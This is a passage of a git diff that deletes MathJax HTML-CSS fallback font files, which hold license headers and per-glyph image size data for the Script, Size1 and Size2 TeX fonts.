-      [8,5,0],[9,6,0],[11,7,0],[13,8,0],[15,10,0],[18,12,0],[21,14,0],[24,17,0],
-      [29,20,0],[34,25,1],[41,29,1],[48,34,1],[57,41,1],[68,48,1]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Script/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/BasicLatin.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Script/Regular/unpacked/Main.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Script/Regular/unpacked/Main.js
deleted file mode 100644
index aedcf5dc..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Script/Regular/unpacked/Main.js
+++ /dev/null
@@ -1,34 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Script/Regular/Main.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Script": {
-
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Script/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/Main.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Script/Regular/unpacked/Other.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Script/Regular/unpacked/Other.js
deleted file mode 100644
index 76481051..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Script/Regular/unpacked/Other.js
+++ /dev/null
@@ -1,37 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Script/Regular/Other.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Script": {
-    0xA0: [  // NO-BREAK SPACE
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Script/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/Other.js");
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- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_Size1:{32:[[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]],40:[[3,9,2],[4,10,3],[5,12,3],[5,15,4],[6,17,5],[7,20,6],[9,24,7],[10,28,8],[12,34,10],[14,40,11],[17,47,14],[20,56,16],[24,67,19],[28,79,23]],41:[[3,9,2],[3,10,3],[3,12,3],[4,15,4],[5,17,5],[6,20,6],[6,24,7],[8,28,8],[9,34,10],[11,40,11],[12,47,14],[15,56,16],[17,67,19],[21,79,23]],47:[[4,9,2],[5,10,3],[6,12,3],[7,14,4],[8,17,5],[9,20,6],[11,24,7],[13,28,8],[15,33,10],[18,40,11],[21,47,14],[25,56,16],[29,67,19],[35,79,23]],91:[[3,9,3],[4,11,3],[4,12,4],[5,15,4],[6,17,5],[7,20,6],[8,24,7],[10,28,8],[11,34,10],[13,41,12],[16,47,14],[19,56,16],[22,67,19],[26,79,23]],92:[[4,9,2],[5,10,3],[6,12,3],[7,14,4],[8,17,5],[9,20,6],[11,24,7],[13,28,8],[15,33,10],[18,40,11],[21,47,14],[25,56,16],[29,67,19],[35,79,23]],93:[[2,9,3],[2,11,3],[3,12,4],[3,15,4],[3,17,5],[4,20,6],[5,24,7],[5,28,8],[6,34,10],[8,41,12],[9,47,14],[10,56,16],[12,67,19],[15,79,23]],123:[[4,9,2],[4,10,3],[5,12,3],[6,15,4],[7,17,5],[8,20,6],[10,24,7],[12,28,8],[14,34,10],[16,40,12],[19,47,14],[23,56,16],[27,67,20],[32,79,23]],125:[[4,9,2],[4,10,3],[5,12,3],[6,15,4],[7,17,5],[8,20,6],[10,24,7],[12,28,8],[14,34,10],[16,40,11],[19,47,13],[23,56,16],[27,67,19],[32,79,23]],160:[[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]],710:[[5,3,-3],[6,3,-4],[7,3,-5],[8,3,-6],[9,4,-7],[11,4,-9],[12,4,-10],[15,5,-13],[17,7,-14],[20,7,-17],[24,8,-21],[28,10,-25],[33,12,-30],[39,14,-36]],732:[[4,1,-4],[5,2,-5],[6,2,-6],[7,2,-7],[8,2,-8],[10,3,-9],[11,4,-11],[13,4,-13],[16,4,-17],[19,5,-20],[22,5,-23],[26,6,-28],[31,7,-33],[37,9,-39]],770:[[5,3,-3],[6,3,-4],[7,3,-5],[8,3,-6],[9,4,-7],[11,4,-9],[12,4,-10],[15,5,-13],[17,7,-14],[20,7,-17],[24,8,-21],[28,10,-25],[33,12,-30],[39,14,-36]],771:[[4,1,-4],[5,2,-5],[6,2,-6],[7,2,-7],[8,2,-8],[10,3,-9],[11,4,-11],[13,4,-13],[16,4,-17],[19,5,-20],[22,5,-23],[26,6,-28],[31,7,-33],[37,9,-39]],8214:[[4,5,0],[5,5,0],[6,6,0],[7,8,0],[8,9,0],[9,10,0],[11,12,0],[13,14,0],[15,17,0],[18,20,0],[21,24,0],[25,28,0],[29,34,0],[35,40,0]],8593:[[4,5,0],[5,5,0],[6,6,0],[7,8,0],[8,9,0],[10,10,0],[11,12,0],[13,14,0],[16,17,0],[19,20,0],[22,24,0],[26,28,0],[31,34,0],[37,40,0]],8595:[[4,5,0],[5,5,0],[6,6,0],[7,8,0],[8,9,0],[10,10,0],[11,12,0],[13,14,0],[16,17,0],[19,20,0],[22,24,0],[26,28,0],[31,34,0],[37,40,0]],8657:[[5,5,0],[7,5,0],[7,6,0],[9,8,0],[10,9,0],[13,10,0],[14,12,0],[17,14,0],[20,17,0],[24,20,0],[29,24,0],[34,28,0],[40,34,0],[48,40,0]],8659:[[5,5,0],[7,5,0],[7,6,0],[9,8,0],[10,9,0],[13,10,0],[14,12,0],[17,14,0],[20,17,0],[24,20,0],[29,24,0],[34,28,0],[40,34,0],[48,40,0]],8719:[[7,8,2],[8,9,2],[9,11,3],[11,12,3],[13,15,4],[15,17,4],[18,20,5],[21,24,6],[25,28,7],[30,34,9],[35,40,10],[42,47,12],[50,56,14],[59,67,17]],8720:[[7,8,2],[8,9,2],[9,11,3],[11,12,3],[13,15,4],[15,17,4],[18,20,5],[21,24,6],[25,28,7],[30,34,9],[35,40,10],[42,47,12],[50,56,14],[59,67,17]],8721:[[7,8,2],[9,9,2],[10,11,3],[12,12,3],[14,15,4],[17,18,5],[20,20,5],[24,24,6],[28,28,7],[33,34,9],[40,40,10],[47,47,12],[56,56,14],[66,67,17]],8730:[[8,9,3],[9,11,3],[11,13,4],[12,15,5],[15,17,5],[17,21,6],[20,24,7],[24,29,9],[29,34,10],[34,40,12],[40,48,14],[48,57,17],[57,67,20],[68,80,24]],8739:[[2,6,1],[2,7,1],[2,8,1],[2,9,1],[3,10,1],[3,12,1],[4,14,1],[5,16,1],[6,19,1],[7,22,1],[8,26,1],[9,31,1],[11,36,1],[13,43,1]],8741:[[3,6,1],[4,7,1],[4,8,1],[5,9,1],[6,10,1],[7,12,1],[8,14,1],[10,16,1],[12,19,1],[14,22,1],[17,26,1],[20,31,1],[23,36,1],[27,43,1]],8747:[[5,8,2],[5,10,3],[6,11,3],[7,14,4],[9,16,4],[11,19,5],[12,22,6],[15,26,7],[17,32,9],[21,38,11],[24,44,12],[29,53,15],[34,62,17],[41,74,21]],8748:[[7,8,2],[8,10,3],[10,11,3],[11,14,4],[14,16,4],[16,19,5],[19,22,6],[23,26,7],[27,32,9],[32,38,11],[38,44,12],[45,53,15],[53,62,17],[64,74,21]],8749:[[9,8,2],[11,10,3],[13,11,3],[15,14,4],[19,16,4],[22,19,5],[26,22,6],[31,26,7],[37,32,9],[43,38,11],[52,44,12],[61,53,15],[73,62,17],[86,74,21]],8750:[[5,8,2],[5,10,3],[6,11,3],[7,14,4],[9,16,4],[11,19,5],[12,22,6],[15,26,7],[17,32,9],[21,38,11],[24,44,12],[29,53,15],[34,62,17],[41,74,21]],8896:[[6,8,2],[7,10,3],[8,11,3],[10,12,3],[11,15,4],[13,18,5],[16,20,5],[19,24,6],[22,28,7],[26,34,9],[31,40,10],[37,47,12],[43,56,14],[52,67,17]],8897:[[6,8,2],[7,10,3],[8,11,3],[10,13,4],[11,15,4],[13,18,5],[16,21,6],[19,25,7],[22,29,8],[26,34,9],[31,41,11],[37,48,13],[43,57,15],[52,68,18]],8898:[[6,7,2],[7,10,3],[8,11,3],[10,12,3],[11,15,4],[13,18,5],[16,20,5],[18,25,7],[22,29,8],[26,34,9],[31,40,10],[36,47,12],[43,57,15],[51,67,17]],8899:[[6,8,2],[7,10,3],[8,11,3],[10,12,3],[11,15,4],[13,18,5],[16,20,5],[18,24,6],[22,28,7],[26,34,9],[31,40,10],[36,47,12],[43,56,14],[51,67,17]],8968:[[4,9,3],[4,10,3],[5,13,4],[6,15,5],[7,17,5],[8,20,6],[9,24,7],[11,28,8],[13,34,10],[15,40,12],[18,48,14],[21,56,16],[25,67,20],[30,79,23]],8969:[[2,9,3],[3,10,3],[3,13,4],[3,15,5],[4,17,5],[5,20,6],[6,24,7],[7,28,8],[8,34,10],[9,40,12],[11,48,14],[13,56,16],[15,67,20],[18,79,23]],8970:[[4,9,3],[4,11,3],[5,13,4],[6,15,4],[7,17,5],[8,21,6],[9,24,7],[11,28,8],[13,34,10],[15,41,12],[18,48,14],[21,57,17],[25,68,20],[30,79,23]],8971:[[2,9,3],[3,11,3],[3,13,4],[3,15,4],[4,17,5],[5,21,6],[6,24,7],[7,28,8],[8,34,10],[9,41,12],[11,48,14],[13,57,17],[15,68,20],[18,79,23]],9168:[[3,5,0],[3,5,0],[4,6,0],[4,8,0],[5,9,0],[6,10,0],[7,12,0],[9,14,0],[10,17,0],[12,20,0],[14,24,0],[17,28,0],[20,34,0],[24,40,0]],10216:[[3,9,3],[4,11,3],[4,13,4],[5,15,5],[6,17,5],[7,21,6],[8,24,7],[10,29,9],[11,34,10],[13,40,12],[16,48,14],[19,57,17],[22,67,20],[26,80,24]],10217:[[3,9,3],[4,11,3],[4,13,4],[5,15,5],[6,17,5],[7,21,6],[8,24,7],[9,29,9],[11,34,10],[13,40,12],[15,48,14],[18,57,17],[21,67,20],[25,80,24]],10752:[[8,8,2],[9,9,2],[11,11,3],[13,12,3],[15,15,4],[18,18,5],[21,20,5],[25,24,6],[30,28,7],[35,34,9],[42,40,10],[50,47,12],[59,56,14],[70,67,17]],10753:[[8,8,2],[9,8,2],[11,11,3],[13,12,3],[15,15,4],[18,18,5],[21,20,5],[25,24,6],[30,28,7],[35,34,9],[42,40,10],[49,47,12],[59,56,14],[70,67,17]],10754:[[8,8,2],[9,9,2],[11,11,3],[13,12,3],[15,15,4],[18,18,5],[21,20,5],[25,24,6],[30,28,7],[35,34,9],[42,40,10],[50,47,12],[59,56,14],[70,67,17]],10756:[[6,8,2],[7,10,3],[8,11,3],[10,12,3],[11,15,4],[13,18,5],[16,20,5],[18,24,6],[22,28,7],[26,34,9],[31,40,10],[36,47,12],[43,56,14],[51,67,17]],10758:[[6,8,2],[7,9,2],[8,11,3],[10,12,3],[11,15,4],[13,18,5],[16,20,5],[19,24,6],[22,28,7],[26,34,9],[31,40,10],[37,47,12],[43,56,14],[52,67,17]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Size1/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/Main.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Size1/Regular/unpacked/Main.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Size1/Regular/unpacked/Main.js
deleted file mode 100644
index e94f8c9a..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Size1/Regular/unpacked/Main.js
+++ /dev/null
@@ -1,213 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Size1/Regular/Main.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Size1": {
-    0x20: [  // SPACE
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x28: [  // LEFT PARENTHESIS
-      [3,9,2],[4,10,3],[5,12,3],[5,15,4],[6,17,5],[7,20,6],[9,24,7],[10,28,8],
-      [12,34,10],[14,40,11],[17,47,14],[20,56,16],[24,67,19],[28,79,23]
-    ],
-    0x29: [  // RIGHT PARENTHESIS
-      [3,9,2],[3,10,3],[3,12,3],[4,15,4],[5,17,5],[6,20,6],[6,24,7],[8,28,8],
-      [9,34,10],[11,40,11],[12,47,14],[15,56,16],[17,67,19],[21,79,23]
-    ],
-    0x2F: [  // SOLIDUS
-      [4,9,2],[5,10,3],[6,12,3],[7,14,4],[8,17,5],[9,20,6],[11,24,7],[13,28,8],
-      [15,33,10],[18,40,11],[21,47,14],[25,56,16],[29,67,19],[35,79,23]
-    ],
-    0x5B: [  // LEFT SQUARE BRACKET
-      [3,9,3],[4,11,3],[4,12,4],[5,15,4],[6,17,5],[7,20,6],[8,24,7],[10,28,8],
-      [11,34,10],[13,41,12],[16,47,14],[19,56,16],[22,67,19],[26,79,23]
-    ],
-    0x5C: [  // REVERSE SOLIDUS
-      [4,9,2],[5,10,3],[6,12,3],[7,14,4],[8,17,5],[9,20,6],[11,24,7],[13,28,8],
-      [15,33,10],[18,40,11],[21,47,14],[25,56,16],[29,67,19],[35,79,23]
-    ],
-    0x5D: [  // RIGHT SQUARE BRACKET
-      [2,9,3],[2,11,3],[3,12,4],[3,15,4],[3,17,5],[4,20,6],[5,24,7],[5,28,8],
-      [6,34,10],[8,41,12],[9,47,14],[10,56,16],[12,67,19],[15,79,23]
-    ],
-    0x7B: [  // LEFT CURLY BRACKET
-      [4,9,2],[4,10,3],[5,12,3],[6,15,4],[7,17,5],[8,20,6],[10,24,7],[12,28,8],
-      [14,34,10],[16,40,12],[19,47,14],[23,56,16],[27,67,20],[32,79,23]
-    ],
-    0x7D: [  // RIGHT CURLY BRACKET
-      [4,9,2],[4,10,3],[5,12,3],[6,15,4],[7,17,5],[8,20,6],[10,24,7],[12,28,8],
-      [14,34,10],[16,40,11],[19,47,13],[23,56,16],[27,67,19],[32,79,23]
-    ],
-    0xA0: [  // NO-BREAK SPACE
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x2C6: [  // MODIFIER LETTER CIRCUMFLEX ACCENT
-      [5,3,-3],[6,3,-4],[7,3,-5],[8,3,-6],[9,4,-7],[11,4,-9],[12,4,-10],[15,5,-13],
-      [17,7,-14],[20,7,-17],[24,8,-21],[28,10,-25],[33,12,-30],[39,14,-36]
-    ],
-    0x2DC: [  // SMALL TILDE
-      [4,1,-4],[5,2,-5],[6,2,-6],[7,2,-7],[8,2,-8],[10,3,-9],[11,4,-11],[13,4,-13],
-      [16,4,-17],[19,5,-20],[22,5,-23],[26,6,-28],[31,7,-33],[37,9,-39]
-    ],
-    0x302: [  // COMBINING CIRCUMFLEX ACCENT
-      [5,3,-3],[6,3,-4],[7,3,-5],[8,3,-6],[9,4,-7],[11,4,-9],[12,4,-10],[15,5,-13],
-      [17,7,-14],[20,7,-17],[24,8,-21],[28,10,-25],[33,12,-30],[39,14,-36]
-    ],
-    0x303: [  // COMBINING TILDE
-      [4,1,-4],[5,2,-5],[6,2,-6],[7,2,-7],[8,2,-8],[10,3,-9],[11,4,-11],[13,4,-13],
-      [16,4,-17],[19,5,-20],[22,5,-23],[26,6,-28],[31,7,-33],[37,9,-39]
-    ],
-    0x2016: [  // DOUBLE VERTICAL LINE
-      [4,5,0],[5,5,0],[6,6,0],[7,8,0],[8,9,0],[9,10,0],[11,12,0],[13,14,0],
-      [15,17,0],[18,20,0],[21,24,0],[25,28,0],[29,34,0],[35,40,0]
-    ],
-    0x2191: [  // UPWARDS ARROW
-      [4,5,0],[5,5,0],[6,6,0],[7,8,0],[8,9,0],[10,10,0],[11,12,0],[13,14,0],
-      [16,17,0],[19,20,0],[22,24,0],[26,28,0],[31,34,0],[37,40,0]
-    ],
-    0x2193: [  // DOWNWARDS ARROW
-      [4,5,0],[5,5,0],[6,6,0],[7,8,0],[8,9,0],[10,10,0],[11,12,0],[13,14,0],
-      [16,17,0],[19,20,0],[22,24,0],[26,28,0],[31,34,0],[37,40,0]
-    ],
-    0x21D1: [  // UPWARDS DOUBLE ARROW
-      [5,5,0],[7,5,0],[7,6,0],[9,8,0],[10,9,0],[13,10,0],[14,12,0],[17,14,0],
-      [20,17,0],[24,20,0],[29,24,0],[34,28,0],[40,34,0],[48,40,0]
-    ],
-    0x21D3: [  // DOWNWARDS DOUBLE ARROW
-      [5,5,0],[7,5,0],[7,6,0],[9,8,0],[10,9,0],[13,10,0],[14,12,0],[17,14,0],
-      [20,17,0],[24,20,0],[29,24,0],[34,28,0],[40,34,0],[48,40,0]
-    ],
-    0x220F: [  // N-ARY PRODUCT
-      [7,8,2],[8,9,2],[9,11,3],[11,12,3],[13,15,4],[15,17,4],[18,20,5],[21,24,6],
-      [25,28,7],[30,34,9],[35,40,10],[42,47,12],[50,56,14],[59,67,17]
-    ],
-    0x2210: [  // N-ARY COPRODUCT
-      [7,8,2],[8,9,2],[9,11,3],[11,12,3],[13,15,4],[15,17,4],[18,20,5],[21,24,6],
-      [25,28,7],[30,34,9],[35,40,10],[42,47,12],[50,56,14],[59,67,17]
-    ],
-    0x2211: [  // N-ARY SUMMATION
-      [7,8,2],[9,9,2],[10,11,3],[12,12,3],[14,15,4],[17,18,5],[20,20,5],[24,24,6],
-      [28,28,7],[33,34,9],[40,40,10],[47,47,12],[56,56,14],[66,67,17]
-    ],
-    0x221A: [  // SQUARE ROOT
-      [8,9,3],[9,11,3],[11,13,4],[12,15,5],[15,17,5],[17,21,6],[20,24,7],[24,29,9],
-      [29,34,10],[34,40,12],[40,48,14],[48,57,17],[57,67,20],[68,80,24]
-    ],
-    0x2223: [  // DIVIDES
-      [2,6,1],[2,7,1],[2,8,1],[2,9,1],[3,10,1],[3,12,1],[4,14,1],[5,16,1],
-      [6,19,1],[7,22,1],[8,26,1],[9,31,1],[11,36,1],[13,43,1]
-    ],
-    0x2225: [  // PARALLEL TO
-      [3,6,1],[4,7,1],[4,8,1],[5,9,1],[6,10,1],[7,12,1],[8,14,1],[10,16,1],
-      [12,19,1],[14,22,1],[17,26,1],[20,31,1],[23,36,1],[27,43,1]
-    ],
-    0x222B: [  // INTEGRAL
-      [5,8,2],[5,10,3],[6,11,3],[7,14,4],[9,16,4],[11,19,5],[12,22,6],[15,26,7],
-      [17,32,9],[21,38,11],[24,44,12],[29,53,15],[34,62,17],[41,74,21]
-    ],
-    0x222C: [  // DOUBLE INTEGRAL
-      [7,8,2],[8,10,3],[10,11,3],[11,14,4],[14,16,4],[16,19,5],[19,22,6],[23,26,7],
-      [27,32,9],[32,38,11],[38,44,12],[45,53,15],[53,62,17],[64,74,21]
-    ],
-    0x222D: [  // TRIPLE INTEGRAL
-      [9,8,2],[11,10,3],[13,11,3],[15,14,4],[19,16,4],[22,19,5],[26,22,6],[31,26,7],
-      [37,32,9],[43,38,11],[52,44,12],[61,53,15],[73,62,17],[86,74,21]
-    ],
-    0x222E: [  // CONTOUR INTEGRAL
-      [5,8,2],[5,10,3],[6,11,3],[7,14,4],[9,16,4],[11,19,5],[12,22,6],[15,26,7],
-      [17,32,9],[21,38,11],[24,44,12],[29,53,15],[34,62,17],[41,74,21]
-    ],
-    0x22C0: [  // N-ARY LOGICAL AND
-      [6,8,2],[7,10,3],[8,11,3],[10,12,3],[11,15,4],[13,18,5],[16,20,5],[19,24,6],
-      [22,28,7],[26,34,9],[31,40,10],[37,47,12],[43,56,14],[52,67,17]
-    ],
-    0x22C1: [  // N-ARY LOGICAL OR
-      [6,8,2],[7,10,3],[8,11,3],[10,13,4],[11,15,4],[13,18,5],[16,21,6],[19,25,7],
-      [22,29,8],[26,34,9],[31,41,11],[37,48,13],[43,57,15],[52,68,18]
-    ],
-    0x22C2: [  // N-ARY INTERSECTION
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-      [22,29,8],[26,34,9],[31,40,10],[36,47,12],[43,57,15],[51,67,17]
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-      [13,34,10],[15,40,12],[18,48,14],[21,56,16],[25,67,20],[30,79,23]
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-      [8,34,10],[9,40,12],[11,48,14],[13,56,16],[15,67,20],[18,79,23]
-    ],
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-      [13,34,10],[15,41,12],[18,48,14],[21,57,17],[25,68,20],[30,79,23]
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-    ],
-    0x2A04: [  // N-ARY UNION OPERATOR WITH PLUS
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-      [22,28,7],[26,34,9],[31,40,10],[36,47,12],[43,56,14],[51,67,17]
-    ],
-    0x2A06: [  // N-ARY SQUARE UNION OPERATOR
-      [6,8,2],[7,9,2],[8,11,3],[10,12,3],[11,15,4],[13,18,5],[16,20,5],[19,24,6],
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- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_Size2:{32:[[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]],40:[[4,13,4],[5,15,5],[6,18,6],[7,22,8],[8,25,9],[10,30,11],[11,36,13],[14,42,15],[16,50,18],[19,60,21],[22,71,25],[27,84,30],[32,100,36],[37,119,43]],41:[[3,13,4],[4,15,5],[5,18,6],[5,22,8],[6,25,9],[7,30,11],[9,36,13],[10,42,15],[12,50,18],[14,60,21],[17,71,25],[20,84,30],[23,100,36],[28,119,43]],47:[[6,13,4],[7,15,5],[8,18,6],[9,21,8],[11,25,9],[13,30,11],[15,35,13],[18,42,15],[21,50,18],[25,59,21],[30,71,25],[36,84,30],[42,100,36],[50,119,43]],91:[[4,13,5],[4,16,6],[5,18,7],[6,22,8],[7,25,9],[8,30,11],[9,35,13],[11,43,16],[13,51,19],[15,59,21],[18,70,25],[22,84,30],[26,100,36],[30,119,43]],92:[[6,13,4],[7,15,5],[8,18,6],[9,21,8],[11,25,9],[13,30,11],[15,35,13],[18,42,15],[21,50,18],[25,59,21],[30,71,25],[35,84,30],[42,100,36],[50,119,43]],93:[[2,13,5],[3,16,6],[3,18,7],[3,22,8],[4,25,9],[5,30,11],[5,35,13],[6,43,16],[7,51,19],[9,59,21],[10,70,25],[12,84,30],[14,100,36],[17,119,43]],123:[[4,13,4],[5,15,5],[6,18,6],[7,22,8],[8,25,9],[10,30,11],[11,36,13],[13,42,15],[16,50,18],[18,60,21],[22,71,25],[26,84,30],[31,100,36],[36,119,43]],125:[[4,13,4],[5,15,5],[6,18,6],[7,22,8],[8,25,9],[10,30,11],[11,36,13],[13,42,15],[16,50,18],[18,60,21],[22,71,25],[26,84,30],[31,100,36],[36,119,43]],160:[[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]],710:[[8,2,-4],[10,2,-5],[11,3,-6],[13,3,-7],[15,3,-8],[18,4,-9],[21,4,-11],[25,5,-13],[29,6,-16],[35,8,-19],[41,9,-22],[48,10,-26],[57,12,-31],[68,14,-37]],732:[[7,2,-4],[9,2,-5],[10,2,-6],[12,2,-7],[14,2,-8],[17,2,-10],[20,4,-11],[24,5,-13],[28,4,-17],[33,5,-20],[40,6,-24],[47,7,-28],[56,8,-34],[66,9,-40]],770:[[8,2,-4],[10,2,-5],[11,3,-6],[13,3,-7],[15,3,-8],[18,4,-9],[21,4,-11],[25,5,-13],[29,6,-16],[35,8,-19],[41,9,-22],[48,10,-26],[57,12,-31],[68,14,-37]],771:[[7,2,-4],[9,2,-5],[10,2,-6],[12,2,-7],[14,2,-8],[17,2,-10],[20,4,-11],[24,5,-13],[28,4,-17],[33,5,-20],[40,6,-24],[47,7,-28],[56,8,-34],[66,9,-40]],8719:[[9,10,3],[11,12,4],[12,15,5],[15,17,6],[17,19,6],[21,24,8],[24,28,9],[29,34,11],[34,40,13],[41,47,15],[48,56,18],[57,66,21],[68,78,25],[81,93,30]],8720:[[9,10,3],[11,12,4],[12,15,5],[15,17,6],[17,19,6],[21,24,8],[24,28,9],[29,34,11],[34,40,13],[41,47,15],[48,56,18],[57,66,21],[68,78,25],[81,93,30]],8721:[[10,10,3],[12,12,4],[14,15,5],[17,17,6],[20,20,7],[24,24,8],[28,28,9],[33,34,11],[39,40,13],[46,47,15],[55,56,18],[65,66,21],[77,78,25],[92,93,30]],8730:[[8,13,5],[9,16,6],[11,19,7],[12,22,8],[15,25,9],[17,31,11],[20,36,13],[24,43,16],[29,50,18],[34,60,22],[40,71,26],[48,85,31],[57,100,36],[68,119,43]],8747:[[7,16,6],[8,19,7],[10,23,9],[12,26,10],[14,31,12],[16,38,15],[19,44,17],[22,53,21],[27,62,24],[32,74,29],[37,88,34],[44,105,41],[53,124,48],[63,147,57]],8748:[[10,16,6],[13,19,7],[15,23,9],[18,26,10],[21,31,12],[25,38,15],[29,44,17],[35,53,21],[41,62,24],[49,74,29],[58,88,34],[69,105,41],[82,124,48],[98,147,57]],8749:[[14,16,6],[17,19,7],[20,23,9],[24,26,10],[28,31,12],[33,38,15],[39,44,17],[47,53,21],[56,62,24],[66,74,29],[78,88,34],[93,105,41],[110,124,48],[131,147,57]],8750:[[7,16,6],[8,19,7],[10,23,9],[12,26,10],[14,31,12],[16,38,15],[19,44,17],[22,53,21],[27,62,24],[32,74,29],[37,88,34],[44,105,41],[53,124,48],[63,147,57]],8896:[[8,11,4],[9,12,4],[11,15,5],[13,18,6],[15,21,7],[18,24,8],[21,28,9],[25,34,11],[30,40,13],[35,47,15],[42,56,18],[50,66,21],[59,78,25],[70,93,30]],8897:[[8,11,4],[9,12,4],[11,15,5],[13,18,6],[15,21,7],[18,24,8],[21,28,9],[25,34,11],[30,40,13],[35,47,15],[42,56,18],[50,66,21],[59,78,25],[70,93,30]],8898:[[8,10,3],[9,12,4],[11,15,5],[13,18,6],[15,21,7],[18,24,8],[21,28,9],[25,34,11],[30,40,13],[35,47,15],[42,56,18],[50,66,21],[59,78,25],[70,93,30]],8899:[[8,10,3],[9,12,4],[11,15,5],[13,18,6],[15,21,7],[18,24,8],[21,28,9],[25,34,11],[30,40,13],[35,47,15],[42,56,18],[50,66,21],[59,78,25],[70,93,30]],8968:[[4,13,5],[5,16,6],[6,19,7],[6,22,8],[8,25,9],[9,30,11],[10,36,13],[12,42,15],[15,50,18],[17,60,22],[21,71,26],[24,85,31],[29,100,36],[34,119,43]],8969:[[2,13,5],[3,16,6],[3,19,7],[4,22,8],[4,25,9],[5,30,11],[6,36,13],[8,42,15],[9,50,18],[10,60,22],[12,71,26],[15,85,31],[17,100,36],[20,119,43]],8970:[[4,13,5],[5,16,6],[6,19,7],[6,22,8],[8,25,9],[9,30,11],[10,36,13],[12,43,16],[15,50,18],[17,60,22],[21,72,26],[24,85,31],[29,100,36],[34,119,43]],8971:[[2,13,5],[3,16,6],[3,19,7],[4,22,8],[4,25,9],[5,30,11],[